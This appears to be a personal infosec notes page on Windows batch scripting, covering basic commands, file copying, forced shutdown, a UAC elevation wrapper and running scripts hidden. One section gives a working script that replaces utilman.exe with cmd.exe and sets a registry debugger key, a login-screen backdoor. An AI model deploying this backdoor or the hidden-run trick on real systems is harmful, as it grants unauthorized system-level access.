> For the complete documentation index, see [llms.txt](https://riteshs4hu.gitbook.io/infosec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://riteshs4hu.gitbook.io/infosec-notes/language/batch-scripting.md).

# Batch Scripting

Batch scripts (`.bat`) are text files containing a series of Windows command-line commands. These scripts are processed line by line by the Windows Command Processor (`cmd.exe`).

### Hello World

Basic script to print a message and pause:

```batch
@echo off
echo Hello-World
pause
```

* `@echo off` – Hides each command before execution (clean output).
* `echo Hello-World` – Displays text.
* `pause` – Waits for a key press.

***

### Print Date and Time

```batch
@echo off
echo Date is: %date%
echo Time is: %time%
pause
```

* `%date%` and `%time%` are built-in environment variables.

***

### Shutdown the Computer

```batch
@echo off
shutdown /s /f /t 0 /c "Shutting down for maintenance."
pause
```

* `/s` – Shutdown
* `/f` – Force close apps
* `/t 0` – Delay (0 seconds)
* `/c` – Comment

***

### Replace `utilman.exe` with `cmd.exe` (Backdoor Technique)

```batch
@echo off
setlocal enabledelayedexpansion

set "sysDir=C:\Windows\System32"
set "regKey=HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe"

copy "%sysDir%\utilman.exe" "%sysDir%\utilman.exe.backup"
copy "%sysDir%\cmd.exe" "%sysDir%\utilman.exe"
reg add "%regKey%" /v Debugger /t REG_SZ /d "%sysDir%\cmd.exe" /f

echo Utilman replaced with cmd.exe. Please reboot your computer to apply changes.
pause
```

* This hijacks `utilman.exe` (accessibility tool) at login screen.
* After reboot, pressing **Win+U** opens a system-level command prompt.

***

### Copy Files or Folders

Basic file copy example:

```batch
@echo off
copy C:\source\file.txt D:\destination\
```

Use `xcopy` or `robocopy` for directories:

```batch
xcopy C:\Folder D:\BackupFolder /s /e /i
robocopy C:\Folder D:\BackupFolder /mir
```

***

### Batch File with Admin Privileges (UAC Bypass Prompt)

```batch
@echo off

:: BatchGotAdmin
:-------------------------------------
REM  --> Check for permissions
IF "%PROCESSOR_ARCHITECTURE%" EQU "amd64" (
    >nul 2>&1 "%SYSTEMROOT%\SysWOW64\cacls.exe" "%SYSTEMROOT%\SysWOW64\config\system"
) ELSE (
    >nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"
)

if '%errorlevel%' NEQ '0' (
    echo Requesting administrative privileges...
    goto UACPrompt
) else ( goto gotAdmin )

:UACPrompt
    echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"
    set params= %*
    echo UAC.ShellExecute "cmd.exe", "/c ""%~s0"" %params:"=""%", "", "runas", 1 >> "%temp%\getadmin.vbs"
    "%temp%\getadmin.vbs"
    del "%temp%\getadmin.vbs"
    exit /B

:gotAdmin
    pushd "%CD%"
    CD /D "%~dp0"
:--------------------------------------
:: Your elevated commands go here
pause
```

* This elevates the batch script via VBScript if not run as admin.
* Useful for modifying system files or registry entries.

***

### Run Batch Files Silently

To **run a batch file without showing the CMD window**, use a VBScript wrapper:

#### ➤ VBScript Example:

```vbscript
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "C:\Path\To\YourScript.bat", 0, False
```

* Save as `silent-run.vbs`
* `"0"` – Hide the window
* `False` – Don’t wait for completion

***

### Convert Batch to EXE

Use third-party tools like:

* **Bat To Exe Converter** (<https://bat-to-exe-converter.en.softonic.com/>)